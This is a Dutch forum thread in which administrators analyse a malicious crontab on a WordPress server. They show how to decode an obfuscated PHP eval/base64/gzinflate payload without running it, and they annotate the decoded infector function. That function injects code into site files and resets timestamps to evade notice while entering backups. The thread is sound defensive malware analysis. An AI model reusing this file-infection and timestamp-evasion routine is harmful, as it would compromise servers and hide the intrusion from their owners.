Post by Paul van der VlisPost by RogerPost by RogerAl eerder had ik een dubieuze crontab van deze user gevonden, deze heb ik ook
verwijderd. Maar dat loste het probleem niet op. Het was een crontab met een inhoud
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'
Stinkt een uur tegen de wind in naar malware (maximaal verhullend).
Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?
Het uitvoeren wordt gedaan door eval(). Het zou dus iets moeten zijn als
/usr/bin/php -r 'echo gzinflate(base64_decode("jVJrb......."));'
file_get_contents(/var/www/vhosts/domein.nl/httpdocs/wp-includes/theme.php): failed to
open stream: No such file or directory in Command line code(1) : eval()'d code on line 6
Ik zie even niet hoe gzinflate() losgelaten op gedecodeerde BASE64 data kan leiden
$ /usr/bin/php -r 'echo base64_encode(gzdeflate("This is test data.")) . "\n";'
C8nILFYAopLU4hKFlMSSRD0A
$ /usr/bin/php -r 'echo gzinflate(base64_decode("C8nILFYAopLU4hKFlMSSRD0A")) . "\n";'
This is test data.
$
Je hebt toch wel de buitenste eval() weggelaten zoals ik had aangegeven?
Ah, dat was inderdaad mijn fout, excuus. Nu komt er wel code uit.
Echter ook binnenin is nog weer een functie encoded, ik moet er nog even op studeren, tot
-----------
phpConfValidate('zaGVldF...............');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
Het argument van phpConfValidate is zo te zien een BASE64 gecodeerd geserialized
PHP array waarvan de elementen met list() in 4 variabelen worden opgeslagen. Met
/usr/bin/php -r 'var_dump(unserialize(base64_decode("zaGVldF...............")));'
zou je de 4 elementen zichtbaar moeten kunnen maken (let op: vervang de single quotes
van het argument van base64_decode door double quotes anders krijg je syntax errors).
Post by Paul van der Vlis $source = file_get_contents($fullPath);
Leest het te infecteren bestand.
Post by Paul van der Vlis if (strstr($source, $systemEnv) !== false) {
return;
}
Vermijdt modificatie van een al geïnfecteerd bestand.
Post by Paul van der Vlis if (!preg_match($pattern, $source, $matches)) {
return;
}
Vermijdt modificatie van een bestand met onverwachte inhoud.
Post by Paul van der Vlis $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
Modificeert de inhoud (de eigenlijke infectie).
Post by Paul van der Vlis if (strstr($newSource, $systemEnv) === false) {
return;
}
Test of de modificatie is gelukt.
Post by Paul van der Vlis $filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
Overschrijft het bestand met de gemodificeerde inhoud. Maar met een twist:
de file modification timestamp wordt iets later gezet dan de originele
timestamp. Hierdoor valt bij een 'ls -l' niet meteen op dat het bestand is
aangepast, maar door de latere timestamp wordt de geïnfecteerde versie wel
meegenomen in een incrementele file based backup.
Wat ik nog even niet zie is hoe deze code ervoor zorgt dat een verwijderd
bestand meteen weer terug komt. De var_dump() moet inzicht verschaffen.
Groeten,
-Roger